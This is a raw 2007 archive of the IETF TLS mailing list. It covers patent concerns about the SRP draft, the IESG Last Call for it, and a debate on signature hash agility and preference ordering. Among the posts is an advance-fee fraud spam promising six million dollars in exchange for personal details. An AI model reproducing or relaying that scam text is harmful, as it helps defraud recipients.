may potentially violate the IPR granted to the > other parties. > > What about RFC2945 and RFC294? Thanks for your clarification. > > I assume "we" means the vendor who implements the draft. Yes, a vendor > may be violating the Pheonix and/or Lucent patents if they implement > this draft. The fact that those two companies refuse to make a concrete > statement that the draft does violate their patents makes it seem like > they're relying on FUD rather than science, but it isn't me putting my > money where my mouth is. > > In any case, the IETF itself is not open to any legal issues by making > this an RFC. > > Regards, > David Taylor. > > > > > ------------------------------ > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > > > End of TLS Digest, Vol 35, Issue 26 > *********************************** > ------=_Part_161919_24921998.1182626474053 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline

Hi, Taylor,
 
Thanks for your info. Have Lucent/Pheonix mentioned which patent(s) the draft may conflict with? Any opinion/standview from the implementors of tls-srp about the potential issue? Thanks,
 
e
 
 

Date: Sat, 23 Jun 2007 08:00:11 +1000
From: David Taylor <dajt1@bigpond.com >
Subject: Re: [TLS] IPR and draft-ietf-tls-srp
To: tls@lists.ietf.org
Message-ID: <467C466B.50809@bigpond.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed

> Some folks mention IPR issues related to this draft. I wonder if we
adopt this draft,
> does that mean we may potentially violate the IPR granted to the
other parties.
> What about RFC2945 and RFC294? Thanks for your clarification.

I assume "we" means the vendor who implements the draft. Yes, a vendor
may be violating the Pheonix and/or Lucent patents if they implement
this draft. The fact that those two companies refuse to make a concrete
statement that the draft does violate their patents makes it seem like
they're relying on FUD rather than science, but it isn't me putting my
money where my mouth is.

In any case, the IETF itself is not open to any legal issues by making
this an RFC.

Regards,
David Taylor.




------------------------------

_______________________________________________
TLS mailing list
TLS@lists.ietf.org
https://www1.ietf.org/mailman/listinfo/tls


End of TLS Digest, Vol 35, Issue 26
***********************************

------=_Part_161919_24921998.1182626474053-- --===============0278711914== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============0278711914==-- From ha_moh1@yahoo.ca Tue Jun 26 15:30:47 2007 Return-path: Received: from [10.90.34.44] (helo=chiedprmail1.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I3GkR-00020A-7w for tls-archive@lists.ietf.org; Tue, 26 Jun 2007 15:30:47 -0400 Received: from [196.207.192.175] (helo=yahoo2808.com) by chiedprmail1.ietf.org with smtp (Exim 4.43) id 1I3GkQ-0003YE-Eh for tls-archive@lists.ietf.org; Tue, 26 Jun 2007 15:30:47 -0400 From: Hassan Mohamand, < ha_moh1@yahoo.ca> To: tls-archive@lists.ietf.org Reply-To: ha_moh2@yahoo.ca Subject: Reply Soon, Date: Tue, 26 Jun 2007 19:33:58 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="6c099904-7119-4d20-9f76-3d25e91496e2" X-Spam-Score: 3.9 (+++) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 This is a multi-part message in MIME format --6c099904-7119-4d20-9f76-3d25e91496e2 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable From Hassan Mohamand, Good Day Can you claim $ 6 ( six million united states dollars) that will = be under your control in your country? that belongs to my late Father = Mr.Aziz Mohamand who died in an accident.This amount will be transferred to = your personal account as soon as I receive your reply indicating your = interest and ability to handle, this. Emailing me back with your full details of whom you are.I will let you know = the full details of this immediately you indicate your interest and also = the necessary documents regarding the fund will be forwarded to you = immediately. PLS REPLY ME WITH THIS PRAVET EMAIL ha_moh3@yahoo.ca Thank you. Regards, Hassan Mohamand, --6c099904-7119-4d20-9f76-3d25e91496e2-- From tls-bounces@lists.ietf.org Fri Jun 29 09:39:56 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4GhO-0000yO-0A; Fri, 29 Jun 2007 09:39:46 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4GhK-0000rS-HS; Fri, 29 Jun 2007 09:39:42 -0400 Received: from ns1.neustar.com ([2001:503:c779:1a::9c9a:108a]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I4Gga-00026s-Sq; Fri, 29 Jun 2007 09:39:42 -0400 Received: from stiedprstage1.ietf.org (stiedprstage1.va.neustar.com [10.31.47.10]) by ns1.neustar.com (Postfix) with ESMTP id BD32026EC5; Fri, 29 Jun 2007 13:38:56 +0000 (GMT) Received: from ietf by stiedprstage1.ietf.org with local (Exim 4.43) id 1I4Gga-0005HB-Ly; Fri, 29 Jun 2007 09:38:56 -0400 X-test-idtracker: no To: IETF-Announce From: The IESG Message-Id: Date: Fri, 29 Jun 2007 09:38:56 -0400 X-Spam-Score: -2.8 (--) X-Scan-Signature: d6b246023072368de71562c0ab503126 Cc: tls@ietf.org Subject: [TLS] Last Call: draft-ietf-tls-srp (Using SRP for TLS Authentication) to Informational RFC X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: ietf@ietf.org List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org The IESG has received a request from the Transport Layer Security WG (tls) to consider the following document: - 'Using SRP for TLS Authentication ' as an Informational RFC The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send substantive comments to the ietf@ietf.org mailing lists by 2007-07-13. Exceptionally, comments may be sent to iesg@ietf.org instead. In either case, please retain the beginning of the Subject line to allow automated sorting. The file can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-tls-srp-14.txt IESG discussion can be tracked via https://datatracker.ietf.org/public/pidtracker.cgi?command=view_id&dTag=6864&rfc_flag=0 _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 29 12:08:18 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4J16-0005TY-Ar; Fri, 29 Jun 2007 12:08:16 -0400 Received: from [10.90.34.44] (helo=chiedprmail1.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4J15-0005TM-6a for tls@ietf.org; Fri, 29 Jun 2007 12:08:15 -0400 Received: from [128.18.230.194] (helo=delta.rtfm.com) by chiedprmail1.ietf.org with esmtp (Exim 4.43) id 1I4J14-0004mY-Op for tls@ietf.org; Fri, 29 Jun 2007 12:08:15 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 750F933C1A for ; Fri, 29 Jun 2007 09:06:11 -0700 (PDT) Date: Fri, 29 Jun 2007 09:06:10 -0700 From: Eric Rescorla To: tls@ietf.org User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070629160611.750F933C1A@delta.rtfm.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: c83ccb5cc10e751496398f1233ca9c3a Cc: Subject: [TLS] Signature Hash Agility X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org I'd like to try to figure out how we're going to handle hash agility in signatures. See (http://www1.ietf.org/mail-archive/web/tls/current/msg00699.html) for backgrouns: As I see it, there are five separate (but related) issues: 1. How does the client communicate to the server what hash algorithms he will accept for signatures 2. How does the server communicate to the client what hash algorithms he will accepts. 3. How do the client and server communicate what hash algorithms they are using to make their signatures. 4. What do we do about algorithms like DSA/ECDSA where you can't just swap hash algorithms around (i.e., where the signature does not verify the digest). 5. Should the lists in 1, 2 be preference ordered? Currently in the draft, the answer to these is: 1. In the CertHashTypes extension. 2. In the certificate_hash field of the CertificateRequest 3. It's deterministic from the certificate. 4. Sort of (3) but it's screwed up. 5. They're not. 1. Client->Server As I read the list traffic, nobody is objecting to (1), so I'm going to table that for now. 2. Server->Client Several people have suggested that they don't like (2). Simon Joseffson has suggested that it should be an extension. Bodo Moeller that we should simply define new ClientCertificateTypes values that would be (for instance) dsa_sign_fips_186_3. So, my reasoning for why it shouldn't be in an extension is that there is already a message where the server expresses his cert preferences. Why split this information over two messages. In response to Bodo, who writes: There are only aesthetical reasons to get rid of the current MD5/SHA-1 concatenation in RSA client authentication. Authentication can only broken if the attack succeeds in real time (and this requires a second preimage, not just a collision!). As long as we have the current Finished message (which involves MD5 anyway, so no implementation can do without it), not much speaks against leaving RSA signing as it is now. However, here too we could add a FIPS 186-3 variant, meaning that depending on the modulus size a wider SHA can be used, adopting the "security strength" for RSA moduli from NIST SP 800-57 to obtain the appropriate SHA variant. (I.e., SHA-1 up to 1024 bits, SHA-224 up to 2048 bits, SHA-256 up to 3072 bits, SHA-384 up to 7680 bits, SHA-512 up to 15360 bits.) But of course, the Finished message will no longer use MD5 but rather the cipher suite PRF. And recall that CertificateVerify doesn't even use the PRF, but rather just hashes. So, I think a single (new) hash function is what's appropriate here. That leaves us to the question of whether it should be combined with the certificate type or a separate field. This is tricky either way because it's orthogonal for RSA but not orthogonal for DSA! That said, I would prefer to err on the side of orthogonality and deal with the DSA special case differently (see below). 3. Communicating the signature/hash algorithm you're using So, I agree that trying to figure out the hash from the signature algorithm in the cert was a mistake. We clearly need to explicitly name the digest algorithm in the message. However, previewing point (4), DSA keys need to be bound to one specific digest algorithm. Accordingly I think the right structure is: struct { select (SignatureAlgorithm) { case anonymous: struct { }; case rsa: HashType digestAlgorithm; // NEW digitally-signed struct { opaque hash[Hash.length]; }; case dsa: digitally-signed struct { opaque sha_hash[20]; }; }; }; } Signature; And note that we'll need DigestInfo encoding to protect against hash substitution. 4. DSA hash selection I claim it must be deterministic from the DSA SubjectPublicKeyInfo what hash algorithm it is to be used with. Otherwise you risk substitution attacks. 5. Preferences I'm fine with preference ordering, though I doubt it matters. I don't see what it really improves. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sat Jun 30 16:14:47 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4jL4-0008W2-9E; Sat, 30 Jun 2007 16:14:38 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4jL2-0008R8-AN for tls@ietf.org; Sat, 30 Jun 2007 16:14:36 -0400 Received: from sceptre.pobox.com ([207.106.133.20]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I4jKy-0000R0-2t for tls@ietf.org; Sat, 30 Jun 2007 16:14:36 -0400 Received: from sceptre (localhost.localdomain [127.0.0.1]) by sceptre.pobox.com (Postfix) with ESMTP id 70C962EF for ; Sat, 30 Jun 2007 16:14:53 -0400 (EDT) Received: from [192.168.1.8] (wsip-24-234-114-35.lv.lv.cox.net [24.234.114.35]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sceptre.sasl.smtp.pobox.com (Postfix) with ESMTP id 2D3495F8E9 for ; Sat, 30 Jun 2007 16:14:53 -0400 (EDT) Message-ID: <4686B8E0.2080709@pobox.com> Date: Sat, 30 Jun 2007 13:11:12 -0700 From: Mike User-Agent: Thunderbird 2.0.0.4 (Windows/20070604) MIME-Version: 1.0 To: tls@ietf.org Subject: Re: [TLS] Signature Hash Agility References: <20070629160611.750F933C1A@delta.rtfm.com> In-Reply-To: <20070629160611.750F933C1A@delta.rtfm.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org > As I see it, there are five separate (but related) issues: > > 1. How does the client communicate to the server what hash algorithms > he will accept for signatures > 2. How does the server communicate to the client what hash algorithms > he will accepts. > 5. Should the lists in 1, 2 be preference ordered? > > Currently in the draft, the answer to these is: > > 5. They're not. > > 5. Preferences > I'm fine with preference ordering, though I doubt it matters. I don't see what > it really improves. When the server receives the client's list of hashes, the easiest thing for it to do is to start at the beginning of the list, and progress through it until it finds a hash it also supports. Therefore, the best thing for the client to do is to send the list in the order it prefers. We already do this with cipher suites and compression algorithms, so why not hashes? Mike _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sat Jun 30 17:09:04 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4kBe-0003W9-Fn; Sat, 30 Jun 2007 17:08:58 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4kBd-0003Uy-Ky for tls@ietf.org; Sat, 30 Jun 2007 17:08:57 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I4kBZ-0003n9-BD for tls@ietf.org; Sat, 30 Jun 2007 17:08:57 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 250E333C1A; Sat, 30 Jun 2007 14:07:24 -0700 (PDT) Date: Sat, 30 Jun 2007 14:07:23 -0700 From: Eric Rescorla To: Mike Subject: Re: [TLS] Signature Hash Agility In-Reply-To: <4686B8E0.2080709@pobox.com> References: <20070629160611.750F933C1A@delta.rtfm.com> <4686B8E0.2080709@pobox.com> User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070630210724.250E333C1A@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 69a74e02bbee44ab4f8eafdbcedd94a1 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At Sat, 30 Jun 2007 13:11:12 -0700, Mike wrote: > > > As I see it, there are five separate (but related) issues: > > > > 1. How does the client communicate to the server what hash algorithms > > he will accept for signatures > > 2. How does the server communicate to the client what hash algorithms > > he will accepts. > > 5. Should the lists in 1, 2 be preference ordered? > > > > Currently in the draft, the answer to these is: > > > > 5. They're not. > > > > 5. Preferences > > I'm fine with preference ordering, though I doubt it matters. I don't see what > > it really improves. > > When the server receives the client's list of hashes, the easiest thing > for it to do is to start at the beginning of the list, and progress > through it until it finds a hash it also supports. Well, that's fine if you want to favor the client's preferences over your own, but it's just as reasonable to favor your preferences in which case this doesn't help. > Therefore, the best > thing for the client to do is to send the list in the order it prefers. > We already do this with cipher suites and compression algorithms, so > why not hashes? As I said, I'm happy to do this. I just don't think it adds that much value. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sat Jun 30 17:46:09 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4klc-0001UF-8F; Sat, 30 Jun 2007 17:46:08 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4kla-0001U4-Fs for tls@ietf.org; Sat, 30 Jun 2007 17:46:06 -0400 Received: from rune.pobox.com ([208.210.124.79]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I4kkg-0002ou-7N for tls@ietf.org; Sat, 30 Jun 2007 17:46:06 -0400 Received: from rune (localhost [127.0.0.1]) by rune.pobox.com (Postfix) with ESMTP id CF3651067DB for ; Sat, 30 Jun 2007 17:45:31 -0400 (EDT) Received: from [192.168.1.8] (wsip-24-234-114-35.lv.lv.cox.net [24.234.114.35]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by rune.sasl.smtp.pobox.com (Postfix) with ESMTP id 9BABF106748 for ; Sat, 30 Jun 2007 17:45:31 -0400 (EDT) Message-ID: <4686CE24.9050207@pobox.com> Date: Sat, 30 Jun 2007 14:41:56 -0700 From: Mike User-Agent: Thunderbird 2.0.0.4 (Windows/20070604) MIME-Version: 1.0 To: tls@ietf.org Subject: Re: [TLS] Signature Hash Agility References: <20070629160611.750F933C1A@delta.rtfm.com> <4686B8E0.2080709@pobox.com> <20070630210724.250E333C1A@delta.rtfm.com> In-Reply-To: <20070630210724.250E333C1A@delta.rtfm.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org >> When the server receives the client's list of hashes, the easiest thing >> for it to do is to start at the beginning of the list, and progress >> through it until it finds a hash it also supports. > > Well, that's fine if you want to favor the client's preferences > over your own, but it's just as reasonable to favor your preferences > in which case this doesn't help. The way I look at TLS is that the client specifies the parameters for the connection, and the server either obliges by using those parameters or it refuses to negotiate. The server asserts its preferences by not negotiating algorithms it considers to be insecure. >> Therefore, the best >> thing for the client to do is to send the list in the order it prefers. >> We already do this with cipher suites and compression algorithms, so >> why not hashes? > > As I said, I'm happy to do this. I just don't think it adds > that much value. Perhaps not, but I think being consistent is important. Also, the alternative (saying that order is not important) will lead to slower implementations since the server will be forced to sort the list to find its preferred algorithm. Mike _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sat Jun 30 18:00:14 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4kzF-0007u1-S1; Sat, 30 Jun 2007 18:00:13 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I4kzE-0007tt-Gx for tls@ietf.org; Sat, 30 Jun 2007 18:00:12 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I4kzA-0001JO-7E for tls@ietf.org; Sat, 30 Jun 2007 18:00:12 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 27BB633C1A; Sat, 30 Jun 2007 14:58:39 -0700 (PDT) Date: Sat, 30 Jun 2007 14:58:38 -0700 From: Eric Rescorla To: Mike Subject: Re: [TLS] Signature Hash Agility In-Reply-To: <4686CE24.9050207@pobox.com> References: <20070629160611.750F933C1A@delta.rtfm.com> <4686B8E0.2080709@pobox.com> <20070630210724.250E333C1A@delta.rtfm.com> <4686CE24.9050207@pobox.com> User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070630215839.27BB633C1A@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: bb8f917bb6b8da28fc948aeffb74aa17 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At Sat, 30 Jun 2007 14:41:56 -0700, Mike wrote: > > >> When the server receives the client's list of hashes, the easiest thing > >> for it to do is to start at the beginning of the list, and progress > >> through it until it finds a hash it also supports. > > > > Well, that's fine if you want to favor the client's preferences > > over your own, but it's just as reasonable to favor your preferences > > in which case this doesn't help. > > The way I look at TLS is that the client specifies the parameters for > the connection, and the server either obliges by using those parameters > or it refuses to negotiate. The server asserts its preferences by not > negotiating algorithms it considers to be insecure. Well, that may be the way your implementation works, but the standard is silent on the server's selection algorithm, so the "server preference" algorithm is equally compliant. > Perhaps not, but I think being consistent is important. Also, the > alternative (saying that order is not important) will lead to slower > implementations since the server will be forced to sort the list to > find its preferred algorithm. You're kidding, right? The server is about to do a digital signature. The cost of searching through a list of probably < 5 entries to look through your preferred choice (when your list is probably <5 entries) is totally trivial by comparison. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls